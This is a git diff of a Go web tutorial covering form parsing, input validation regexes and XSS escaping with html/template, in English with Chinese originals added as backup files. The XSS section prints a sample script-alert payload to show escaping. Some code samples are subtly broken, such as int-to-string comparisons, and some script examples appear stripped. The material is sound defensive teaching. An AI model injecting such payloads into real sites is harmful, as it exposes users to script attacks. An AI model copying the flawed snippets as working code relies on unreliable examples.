login.gtpl 文件中有错误,请根据控制台中的日志进行修复。 - -图4.1 用户登录界面 - -我们输入用户名和密码之后发现在服务器端是不会打印出来任何输出的,为什么呢?默认情况下,Handler里面是不会自动解析form的,必须显式的调用`r.ParseForm()`后,你才能对这个表单数据进行操作。我们修改一下代码,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新编译,再次测试输入递交,现在是不是在服务器端有输出你的输入的用户名和密码了。 - -`r.Form`里面包含了所有请求的参数,比如URL中query-string、POST的数据、PUT的数据,所有当你在URL的query-string字段和POST冲突时,会保存成一个slice,里面存储了多个值,Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。 - -现在我们修改一下login.gtpl里面form的action值`http://127.0.0.1:9090/login`修改为`http://127.0.0.1:9090/login?username=astaxie`,再次测试,服务器的输出username是不是一个slice。服务器端的输出如下: - -![](images/4.1.slice.png?raw=true) - -图4.2 服务器端打印接受到的信息 - -`request.Form`是一个url.Values类型,里面存储的是对应的类似`key=value`的信息,下面展示了可以对form数据进行的一些操作: - - v := url.Values{} - v.Set("name", "Ava") - v.Add("friend", "Jess") - v.Add("friend", "Sarah") - v.Add("friend", "Zoe") - // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" - fmt.Println(v.Get("name")) - fmt.Println(v.Get("friend")) - fmt.Println(v["friend"]) - ->**Tips**: -Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm,所以不必提前调用。r.FormValue只会返回同名参数中的第一个,若参数不存在则返回空字符串。 - -## links - * [目录]() - * 上一节: [表单](<04.0.md>) - * 下一节: [验证表单的输入](<04.2.md>) +# 4.1 Process form inputs + +Before we begin, let's take a look at a simple example of a typical user form, saved as `login.gtpl` in your project folder. + + + + + + +
+ Username: + Password: + +
+ + + +This form will submit to `/login` on the server. After the user clicks the login button, the data will be sent to the `login` handler registered by the server router. Then we need to know whether it uses the POST method or GET. + +This is easy to find out using the `http` package. Let's see how to handle the form data on the login page. + + package main + + import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" + ) + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //Parse url parameters passed, then parse the response packet for the POST body (request body) + // attention: If you do not call ParseForm method, the following data can not be obtained form + fmt.Println(r.Form) // print information on server side. + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // write data to response + } + + func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //get request method + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, nil) + } else { + r.ParseForm() + // logic part of log in + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) + } + } + + func main() { + http.HandleFunc("/", sayhelloName) // setting router rule + http.HandleFunc("/login", login) + err := http.ListenAndServe(":9090", nil) // setting listening port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } + } + + +Here we use `r.Method` to get the request method, and it returns an http verb -"GET", "POST", "PUT", etc. + +In the `login` function, we use `r.Method` to check whether it's a login page or login processing logic. In other words, we check to see whether the user is simply opening the page, or trying to log in. Serve shows the page only when the request comes in via the GET method, and it executes the login logic when the request uses the POST method. + +You should see the following interface after opening `http://127.0.0.1:9090/login` in your browser. + +![](images/4.1.login.png?raw=true) + +Figure 4.1 User login interface + +The server will not print anything until after we type in a username and password, because the handler doesn't parse the form until we call `r.ParseForm()`. Let's add `r.ParseForm()` before `fmt.Println("username:", r.Form["username"])`, compile our program and test it again. You will find that the information is printed on the server side now. + +`r.Form` contains all of the request arguments, for instance the query-string in the URL and the data in POST and PUT. If the data has conflicts, for example parameters that have the same name, the server will save the data into a slice with multiple values. The Go documentation states that Go will save the data from GET and POST requests in different places. + +Try changing the value of the action in the form `http://127.0.0.1:9090/login` to `http://127.0.0.1:9090/login?username=astaxie` in the `login.gtpl` file, test it again, and you will see that the slice is printed on the server side. + +![](images/4.1.slice.png?raw=true) + +Figure 4.2 Server prints request data + +The type of `request.Form` is `url.Value`. It saves data with the format `key=value`. + + v := url.Values{} + v.Set("name", "Ava") + v.Add("friend", "Jess") + v.Add("friend", "Sarah") + v.Add("friend", "Zoe") + // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" + fmt.Println(v.Get("name")) + fmt.Println(v.Get("friend")) + fmt.Println(v["friend"]) + +**Tips** Requests have the ability to access form data using the `FormValue()` method. For example, you can change `r.Form["username"]` to `r.FormValue("username")`, and Go calls `r.ParseForm` automatically. Notice that it returns the first value if there are arguments with the same name, and it returns an empty string if there is no such argument. + +## Links + +- [Directory](preface.md) +- Previous section: [User form](04.0.md) +- Next section: [Verification of inputs](04.2.md) diff --git a/en/04.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/04.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..1f364713 --- /dev/null +++ b/en/04.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,109 @@ +# 4.1 处理表单的输入 + +先来看一个表单递交的例子,我们有如下的表单内容,命名成文件login.gtpl(放入当前新建项目的目录里面) + + + + + + +
+ 用户名: + 密码: + +
+ + + +上面递交表单到服务器的`/login`,当用户输入信息点击登陆之后,会跳转到服务器的路由`login`里面,我们首先要判断这个是什么方式传递过来,POST还是GET呢? + +http包里面有一个很简单的方式就可以获取,我们在前面web的例子的基础上来看看怎么处理login页面的form数据 + + + package main + + import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" + ) + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //解析url传递的参数,对于POST则解析响应包的主体(request body) + //注意:如果没有调用ParseForm方法,下面无法获取表单的数据 + fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息 + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的 + } + + func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //获取请求的方法 + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + log.Println(t.Execute(w, nil)) + } else { + //请求的是登陆数据,那么执行登陆的逻辑判断 + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) + } + } + + func main() { + http.HandleFunc("/", sayhelloName) //设置访问的路由 + http.HandleFunc("/login", login) //设置访问的路由 + err := http.ListenAndServe(":9090", nil) //设置监听的端口 + if err != nil { + log.Fatal("ListenAndServe: ", err) + } + } + + +通过上面的代码我们可以看出获取请求方法是通过`r.Method`来完成的,这是个字符串类型的变量,返回GET, POST, PUT等method信息。 + +login函数中我们根据`r.Method`来判断是显示登录界面还是处理登录逻辑。当GET方式请求时显示登录界面,其他方式请求时则处理登录逻辑,如查询数据库、验证登录信息等。 + +当我们在浏览器里面打开`http://127.0.0.1:9090/login`的时候,出现如下界面 + +![](images/4.1.login.png?raw=true) + +如果你看到一个空页面,可能是你写的 login.gtpl 文件中有错误,请根据控制台中的日志进行修复。 + +图4.1 用户登录界面 + +我们输入用户名和密码之后发现在服务器端是不会打印出来任何输出的,为什么呢?默认情况下,Handler里面是不会自动解析form的,必须显式的调用`r.ParseForm()`后,你才能对这个表单数据进行操作。我们修改一下代码,在`fmt.Println("username:", r.Form["username"])`之前加一行`r.ParseForm()`,重新编译,再次测试输入递交,现在是不是在服务器端有输出你的输入的用户名和密码了。 + +`r.Form`里面包含了所有请求的参数,比如URL中query-string、POST的数据、PUT的数据,所有当你在URL的query-string字段和POST冲突时,会保存成一个slice,里面存储了多个值,Go官方文档中说在接下来的版本里面将会把POST、GET这些数据分离开来。 + +现在我们修改一下login.gtpl里面form的action值`http://127.0.0.1:9090/login`修改为`http://127.0.0.1:9090/login?username=astaxie`,再次测试,服务器的输出username是不是一个slice。服务器端的输出如下: + +![](images/4.1.slice.png?raw=true) + +图4.2 服务器端打印接受到的信息 + +`request.Form`是一个url.Values类型,里面存储的是对应的类似`key=value`的信息,下面展示了可以对form数据进行的一些操作: + + v := url.Values{} + v.Set("name", "Ava") + v.Add("friend", "Jess") + v.Add("friend", "Sarah") + v.Add("friend", "Zoe") + // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" + fmt.Println(v.Get("name")) + fmt.Println(v.Get("friend")) + fmt.Println(v["friend"]) + +>**Tips**: +Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm,所以不必提前调用。r.FormValue只会返回同名参数中的第一个,若参数不存在则返回空字符串。 + +## links + * [目录]() + * 上一节: [表单](<04.0.md>) + * 下一节: [验证表单的输入](<04.2.md>) diff --git a/en/04.2.md b/en/04.2.md index 2792454e..291e4657 100644 --- a/en/04.2.md +++ b/en/04.2.md @@ -1,162 +1,141 @@ -# 4.2 验证表单的输入 - -开发Web的一个原则就是,不能信任用户输入的任何信息,所以验证和过滤用户的输入信息就变得非常重要,我们经常会在微博、新闻中听到某某网站被入侵了,存在什么漏洞,这些大多是因为网站对于用户输入的信息没有做严格的验证引起的,所以为了编写出安全可靠的Web程序,验证表单输入的意义重大。 - -我们平常编写Web应用主要有两方面的数据验证,一个是在页面端的js验证(目前在这方面有很多的插件库,比如ValidationJS插件),一个是在服务器端的验证,我们这小节讲解的是如何在服务器端验证。 - -## 必填字段 -你想要确保从一个表单元素中得到一个值,例如前面小节里面的用户名,我们如何处理呢?Go有一个内置函数`len`可以获取字符串的长度,这样我们就可以通过len来获取数据的长度,例如: - - if len(r.Form["username"][0])==0{ - //为空的处理 - } - -`r.Form`对不同类型的表单元素的留空有不同的处理, 对于空文本框、空文本区域以及文件上传,元素的值为空值,而如果是未选中的复选框和单选按钮,则根本不会在r.Form中产生相应条目,如果我们用上面例子中的方式去获取数据时程序就会报错。所以我们需要通过`r.Form.Get()`来获取值,因为如果字段不存在,通过该方式获取的是空值。但是通过`r.Form.Get()`只能获取单个的值,如果是map的值,必须通过上面的方式来获取。 - -## 数字 -你想要确保一个表单输入框中获取的只能是数字,例如,你想通过表单获取某个人的具体年龄是50岁还是10岁,而不是像“一把年纪了”或“年轻着呢”这种描述 - -如果我们是判断正整数,那么我们先转化成int类型,然后进行处理 - - getint,err:=strconv.Atoi(r.Form.Get("age")) - if err!=nil{ - //数字转化出错了,那么可能就不是数字 - } - - //接下来就可以判断这个数字的大小范围了 - if getint >100 { - //太大了 - } - -还有一种方式就是正则匹配的方式 - - if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { - return false - } - -对于性能要求很高的用户来说,这是一个老生常谈的问题了,他们认为应该尽量避免使用正则表达式,因为使用正则表达式的速度会比较慢。但是在目前机器性能那么强劲的情况下,对于这种简单的正则表达式效率和类型转换函数是没有什么差别的。如果你对正则表达式很熟悉,而且你在其它语言中也在使用它,那么在Go里面使用正则表达式将是一个便利的方式。 - ->Go实现的正则是[RE2](http://code.google.com/p/re2/wiki/Syntax),所有的字符都是UTF-8编码的。 - -## 中文 -有时候我们想通过表单元素获取一个用户的中文名字,但是又为了保证获取的是正确的中文,我们需要进行验证,而不是用户随便的一些输入。对于中文我们目前有两种方式来验证,可以使用 `unicode` 包提供的 `func Is(rangeTab *RangeTable, r rune) bool` 来验证,也可以使用正则方式来验证,这里使用最简单的正则方式,如下代码所示 - - if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m { - return false - } - -## 英文 -我们期望通过表单元素获取一个英文值,例如我们想知道一个用户的英文名,应该是astaxie,而不是asta谢。 - -我们可以很简单的通过正则验证数据: - - if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { - return false - } - - -## 电子邮件地址 -你想知道用户输入的一个Email地址是否正确,通过如下这个方式可以验证: - - if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m { - fmt.Println("no") - }else{ - fmt.Println("yes") - } - - -## 手机号码 -你想要判断用户输入的手机号码是否正确,通过正则也可以验证: - - if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m { - return false - } - -## 下拉菜单 -如果我们想要判断表单里面` - - - - - -那么我们可以这样来验证 - - slice:=[]string{"apple","pear","banane"} - - for _, v := range slice { - if v == r.Form.Get("fruit") { - return true - } - } - return false - -## 单选按钮 -如果我们想要判断radio按钮是否有一个被选中了,我们页面的输出可能就是一个男、女性别的选择,但是也可能一个15岁大的无聊小孩,一手拿着http协议的书,另一只手通过telnet客户端向你的程序在发送请求呢,你设定的性别男值是1,女是2,他给你发送一个3,你的程序会出现异常吗?因此我们也需要像下拉菜单的判断方式类似,判断我们获取的值是我们预设的值,而不是额外的值。 - - 男 - 女 - -那我们也可以类似下拉菜单的做法一样 - - slice:=[]int{1,2} - - for _, v := range slice { - if v == r.Form.Get("gender") { - return true - } - } - return false - -## 复选框 -有一项选择兴趣的复选框,你想确定用户选中的和你提供给用户选择的是同一个类型的数据。 - - 足球 - 篮球 - 网球 - -对于复选框我们的验证和单选有点不一样,因为接收到的数据是一个slice - - slice:=[]string{"football","basketball","tennis"} - a:=Slice_diff(r.Form["interest"],slice) - if a == nil{ - return true - } - - return false - -上面这个函数`Slice_diff`包含在我开源的一个库里面(操作slice和map的库),[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku) - -## 日期和时间 -你想确定用户填写的日期或时间是否有效。例如 -,用户在日程表中安排8月份的第45天开会,或者提供未来的某个时间作为生日。 - -Go里面提供了一个time的处理包,我们可以把用户的输入年月日转化成相应的时间,然后进行逻辑判断 - - t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) - fmt.Printf("Go launched at %s\n", t.Local()) - -获取time之后我们就可以进行很多时间函数的操作。具体的判断就根据自己的需求调整。 - -## 身份证号码 -如果我们想验证表单输入的是否是身份证,通过正则也可以方便的验证,但是身份证有15位和18位,我们两个都需要验证 - - //验证15位身份证,15位的是全部数字 - if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m { - return false - } - - //验证18位身份证,18位前17位为数字,最后一位是校验位,可能为数字或字符X。 - if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m { - return false - } - -上面列出了我们一些常用的服务器端的表单元素验证,希望通过这个引导入门,能够让你对Go的数据验证有所了解,特别是Go里面的正则处理。 - -## links - * [目录]() - * 上一节: [处理表单的输入](<04.1.md>) - * 下一节: [预防跨站脚本](<04.3.md>) +# 4.2 Verification of inputs + +One of the most important principles in web development is that you cannot trust anything from client side user forms. You have to verify all incoming data before use it. Many websites are affected by this problem, which is simple yet crucial. + +There are two ways of verify form data that are commonly used. One is JavaScript verification in the front-end, and the other is server verification in the back-end. In this section, we are going to talk about server side verification in web development. + +## Required fields + +Sometimes we require that users input some fields but they don't, for example in the previous section when we required a username. You can use the `len` function to get the length of a field in order to ensure that users have entered this information. + + if len(r.Form["username"][0])==0{ + // code for empty field + } + +`r.Form` treats different form element types differently when they are blank. For empty textboxes, text areas and file uploads, it returns an empty string; for radio buttons and check boxes, it doesn't even create the corresponding items. Instead, you will get errors if you try to access it. Therefore, it's safer to use `r.Form.Get()` to get filed values since it will always return empty if the value does not exist. On the other hand, `r.Form.Get()` can only get one field value at a time, so you need to use `r.Form` to get the map of values. + +## Numbers + +Sometimes you only need numbers for the field value. For example, let's say that you require the age of a user in integer form only, i.e 50 or 10, instead of "old enough" or "young man". If we require a positive number, we can convert the value to the `int` type first, then process it. + + getint,err:=strconv.Atoi(r.Form.Get("age")) + if err!=nil{ + // error occurs when convert to number, it may not a number + } + + // check range of number + if getint >100 { + // too big + } + +Another way to do this is using regular expressions. + + if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { + return false + } + +For high performance purposes, regular expressions are not efficient, however simple regular expressions are usually fast enough. If you are familiar with regular expressions, it's a very convenient way to verify data. Notice that Go uses [RE2](http://code.google.com/p/re2/wiki/Syntax), so all UTF-8 characters are supported. + +## Chinese + +Sometimes we need users to input their Chinese names and we have to verify that they all use Chinese rather than random characters. For Chinese verification, regular expressions are the only way. + + if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m { + return false + } + +## English letters + +Sometimes we need users to input only English letters. For example, we require someone's English name, like astaxie instead of asta谢. We can easily use regular expressions to perform our verification. + + if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { + return false + } + +## E-mail address + +If you want to know whether users have entered valid E-mail addresses, you can use the following regular expression: + + if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m { + fmt.Println("no") + }else{ + fmt.Println("yes") + } + +## Drop down list + +Let's say we require an item from our drop down list, but instead we get a value fabricated by hackers. How do we prevent this from happening? + +Suppose we have the following ` + + + + + +We can use the following strategy to sanitize our input: + + slice:=[]string{"apple","pear","banana"} + + for _, v := range slice { + if v == r.Form.Get("fruit") { + return true + } + } + return false + +All the functions I've shown above are in my open source project for operating on slices and maps: [https://github.com/astaxie/beeku](https://github.com/astaxie/beeku) + +## Radio buttons + +If we want to know whether the user is male or female, we may use a radio button, returning 1 for male and 2 for female. However, some little kid who just read his first book on HTTP, decides to send to you a 3. Will your program have have exception? As you can see, we need to use the same method as we did for our drop down list to make sure that only expected values are returned by our radio button. + + Male + Female + +And we use following code to verify the input: + + slice:=[]int{1,2} + + for _, v := range slice { + if v == r.Form.Get("gender") { + return true + } + } + return false + +## Check boxes + +Suppose there are some check boxes for user interests, and that you don't want extraneous values here either. + + Football + Basketball + Tennis + +In this case, the sanitization is a little bit different than verifying the button and check box inputs since here we get a slice from the check boxes. + + slice:=[]string{"football","basketball","tennis"} + a:=Slice_diff(r.Form["interest"],slice) + if a == nil{ + return true + } + + return false + +## Date and time + +Suppose you want users to input valid dates or times. Go has the `time` package for converting year, month and day to their corresponding times. After that, it's easy to check it. + + t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) + fmt.Printf("Go launched at %s\n", t.Local()) + +After you have the time, you can use the `time` package for more operations, depending on your needs. + +In this section, we've discussed some common methods for verifying form data server side. I hope that you now understand more about data verification in Go, especially how to use regular expressions to your advantage. + +## Links + +- [Directory](preface.md) +- Previous section: [Process form inputs](04.1.md) +- Next section: [Cross site scripting](04.3.md) diff --git a/en/04.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/04.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..3984de75 --- /dev/null +++ b/en/04.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,162 @@ +# 4.2 验证表单的输入 + +开发Web的一个原则就是,不能信任用户输入的任何信息,所以验证和过滤用户的输入信息就变得非常重要,我们经常会在微博、新闻中听到某某网站被入侵了,存在什么漏洞,这些大多是因为网站对于用户输入的信息没有做严格的验证引起的,所以为了编写出安全可靠的Web程序,验证表单输入的意义重大。 + +我们平常编写Web应用主要有两方面的数据验证,一个是在页面端的js验证(目前在这方面有很多的插件库,比如ValidationJS插件),一个是在服务器端的验证,我们这小节讲解的是如何在服务器端验证。 + +## 必填字段 +你想要确保从一个表单元素中得到一个值,例如前面小节里面的用户名,我们如何处理呢?Go有一个内置函数`len`可以获取字符串的长度,这样我们就可以通过len来获取数据的长度,例如: + + if len(r.Form["username"][0])==0{ + //为空的处理 + } + +`r.Form`对不同类型的表单元素的留空有不同的处理, 对于空文本框、空文本区域以及文件上传,元素的值为空值,而如果是未选中的复选框和单选按钮,则根本不会在r.Form中产生相应条目,如果我们用上面例子中的方式去获取数据时程序就会报错。所以我们需要通过`r.Form.Get()`来获取值,因为如果字段不存在,通过该方式获取的是空值。但是通过`r.Form.Get()`只能获取单个的值,如果是map的值,必须通过上面的方式来获取。 + +## 数字 +你想要确保一个表单输入框中获取的只能是数字,例如,你想通过表单获取某个人的具体年龄是50岁还是10岁,而不是像“一把年纪了”或“年轻着呢”这种描述 + +如果我们是判断正整数,那么我们先转化成int类型,然后进行处理 + + getint,err:=strconv.Atoi(r.Form.Get("age")) + if err!=nil{ + //数字转化出错了,那么可能就不是数字 + } + + //接下来就可以判断这个数字的大小范围了 + if getint >100 { + //太大了 + } + +还有一种方式就是正则匹配的方式 + + if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { + return false + } + +对于性能要求很高的用户来说,这是一个老生常谈的问题了,他们认为应该尽量避免使用正则表达式,因为使用正则表达式的速度会比较慢。但是在目前机器性能那么强劲的情况下,对于这种简单的正则表达式效率和类型转换函数是没有什么差别的。如果你对正则表达式很熟悉,而且你在其它语言中也在使用它,那么在Go里面使用正则表达式将是一个便利的方式。 + +>Go实现的正则是[RE2](http://code.google.com/p/re2/wiki/Syntax),所有的字符都是UTF-8编码的。 + +## 中文 +有时候我们想通过表单元素获取一个用户的中文名字,但是又为了保证获取的是正确的中文,我们需要进行验证,而不是用户随便的一些输入。对于中文我们目前有两种方式来验证,可以使用 `unicode` 包提供的 `func Is(rangeTab *RangeTable, r rune) bool` 来验证,也可以使用正则方式来验证,这里使用最简单的正则方式,如下代码所示 + + if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m { + return false + } + +## 英文 +我们期望通过表单元素获取一个英文值,例如我们想知道一个用户的英文名,应该是astaxie,而不是asta谢。 + +我们可以很简单的通过正则验证数据: + + if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { + return false + } + + +## 电子邮件地址 +你想知道用户输入的一个Email地址是否正确,通过如下这个方式可以验证: + + if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m { + fmt.Println("no") + }else{ + fmt.Println("yes") + } + + +## 手机号码 +你想要判断用户输入的手机号码是否正确,通过正则也可以验证: + + if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m { + return false + } + +## 下拉菜单 +如果我们想要判断表单里面` + + + + + +那么我们可以这样来验证 + + slice:=[]string{"apple","pear","banane"} + + for _, v := range slice { + if v == r.Form.Get("fruit") { + return true + } + } + return false + +## 单选按钮 +如果我们想要判断radio按钮是否有一个被选中了,我们页面的输出可能就是一个男、女性别的选择,但是也可能一个15岁大的无聊小孩,一手拿着http协议的书,另一只手通过telnet客户端向你的程序在发送请求呢,你设定的性别男值是1,女是2,他给你发送一个3,你的程序会出现异常吗?因此我们也需要像下拉菜单的判断方式类似,判断我们获取的值是我们预设的值,而不是额外的值。 + + 男 + 女 + +那我们也可以类似下拉菜单的做法一样 + + slice:=[]int{1,2} + + for _, v := range slice { + if v == r.Form.Get("gender") { + return true + } + } + return false + +## 复选框 +有一项选择兴趣的复选框,你想确定用户选中的和你提供给用户选择的是同一个类型的数据。 + + 足球 + 篮球 + 网球 + +对于复选框我们的验证和单选有点不一样,因为接收到的数据是一个slice + + slice:=[]string{"football","basketball","tennis"} + a:=Slice_diff(r.Form["interest"],slice) + if a == nil{ + return true + } + + return false + +上面这个函数`Slice_diff`包含在我开源的一个库里面(操作slice和map的库),[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku) + +## 日期和时间 +你想确定用户填写的日期或时间是否有效。例如 +,用户在日程表中安排8月份的第45天开会,或者提供未来的某个时间作为生日。 + +Go里面提供了一个time的处理包,我们可以把用户的输入年月日转化成相应的时间,然后进行逻辑判断 + + t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) + fmt.Printf("Go launched at %s\n", t.Local()) + +获取time之后我们就可以进行很多时间函数的操作。具体的判断就根据自己的需求调整。 + +## 身份证号码 +如果我们想验证表单输入的是否是身份证,通过正则也可以方便的验证,但是身份证有15位和18位,我们两个都需要验证 + + //验证15位身份证,15位的是全部数字 + if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m { + return false + } + + //验证18位身份证,18位前17位为数字,最后一位是校验位,可能为数字或字符X。 + if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m { + return false + } + +上面列出了我们一些常用的服务器端的表单元素验证,希望通过这个引导入门,能够让你对Go的数据验证有所了解,特别是Go里面的正则处理。 + +## links + * [目录]() + * 上一节: [处理表单的输入](<04.1.md>) + * 下一节: [预防跨站脚本](<04.3.md>) diff --git a/en/04.3.md b/en/04.3.md index a0aadab2..edcc8a82 100644 --- a/en/04.3.md +++ b/en/04.3.md @@ -1,68 +1,68 @@ -# 4.3 预防跨站脚本 - -现在的网站包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。 - -攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、 ActiveX或Flash以欺骗用户。一旦得手,他们可以盗取用户帐户信息,修改用户设置,盗取/污染cookie和植入恶意广告等。 - -对XSS最佳的防护应该结合以下两种方法:一是验证所有输入数据,有效检测攻击(这个我们前面小节已经有过介绍);另一个是对所有输出数据进行适当的处理,以防止任何已成功注入的脚本在浏览器端运行。 - -那么Go里面是怎么做这个有效防护的呢?Go的html/template里面带有下面几个函数可以帮你转义 - -- func HTMLEscape(w io.Writer, b []byte) //把b进行转义之后写到w -- func HTMLEscapeString(s string) string //转义s之后返回结果字符串 -- func HTMLEscaper(args ...interface{}) string //支持多个参数一起转义,返回结果字符串 - - -我们看4.1小节的例子 - - fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端 - fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) - template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端 - -如果我们输入的username是``,那么我们可以在浏览器上面看到输出如下所示: - -![](images/4.3.escape.png?raw=true) - -图4.3 Javascript过滤之后的输出 - -Go的html/template包默认帮你过滤了html标签,但是有时候你只想要输出这个``看起来正常的信息,该怎么处理?请使用text/template。请看下面的例子: - - import "text/template" - ... - t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) - err = t.ExecuteTemplate(out, "T", "") - -输出 - - Hello, ! - -或者使用template.HTML类型 - - import "html/template" - ... - t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) - err = t.ExecuteTemplate(out, "T", template.HTML("")) - -输出 - - Hello, ! - -转换成`template.HTML`后,变量的内容也不会被转义 - -转义的例子: - - import "html/template" - ... - t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) - err = t.ExecuteTemplate(out, "T", "") - -转义之后的输出: - - Hello, <script>alert('you have been pwned')</script>! - - - -## links - * [目录]() - * 上一节: [验证的输入](<04.2.md>) - * 下一节: [防止多次递交表单](<04.4.md>) +# 4.3 Cross site scripting + +Today's websites have much more dynamic content in order to improve user experience, which means that we must provide dynamic information depending on every individual's behavior. Unfortunately, there is a thing called "Cross site scripting" (known as "XSS") always attacking dynamic websites, from which static websites are completely fine at this time. + +Attackers often inject malicious scripts like JavaScript, VBScript, ActiveX or Flash into those websites that have loopholes. Once they have successfully injected their scripts, user information can be stolen and your website can be flooded with spam. The attackers can also change user settings to whatever they want. + +If you want to prevent this kind of attack, you should combine the two following approaches: + +- Verification of all data from users, which we talked about in the previous section. +- Carefully handle data that will be sent to clients in order to prevent any injected scripts from running on browsers. + +So how can we do these two things in Go? Fortunately, the `html/template` package has some useful functions to escape data as follows: + +- `func HTMLEscape(w io.Writer, b []byte)` escapes b to w. +- `func HTMLEscapeString(s string) string` returns a string after escaping from s. +- `func HTMLEscaper(args ...interface{}) string` returns a string after escaping from multiple arguments. + +Let's change the example in section 4.1: + + fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print at server side + fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) + template.HTMLEscape(w, []byte(r.Form.Get("username"))) // responded to clients + +If someone tries to input the username as ``, we will see the following content in the browser: + +![](images/4.3.escape.png?raw=true) + +Figure 4.3 JavaScript after escaped + +Functions in the `html/template` package help you to escape all HTML tags. What if you just want to print `` to browsers? You should use `text/template` instead. + + import "text/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") + +Output: + + Hello, ! + +Or you can use the `template.HTML` type : +Variable content will not be escaped if its type is `template.HTML`. + + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", template.HTML("")) + +Output: + + Hello, ! + +One more example of escaping: + + import "html/template" + ... + t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) + err = t.ExecuteTemplate(out, "T", "") + +Output: + + Hello, <script>alert('you have been pwned')</script>! + +## Links + +- [Directory](preface.md) +- Previous section: [Verification of inputs](04.2.md) +- Next section: [Duplicate submissions](04.4.md) diff --git a/en/04.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/04.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..e0c350e2 --- /dev/null +++ b/en/04.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,68 @@ +# 4.3 预防跨站脚本 + 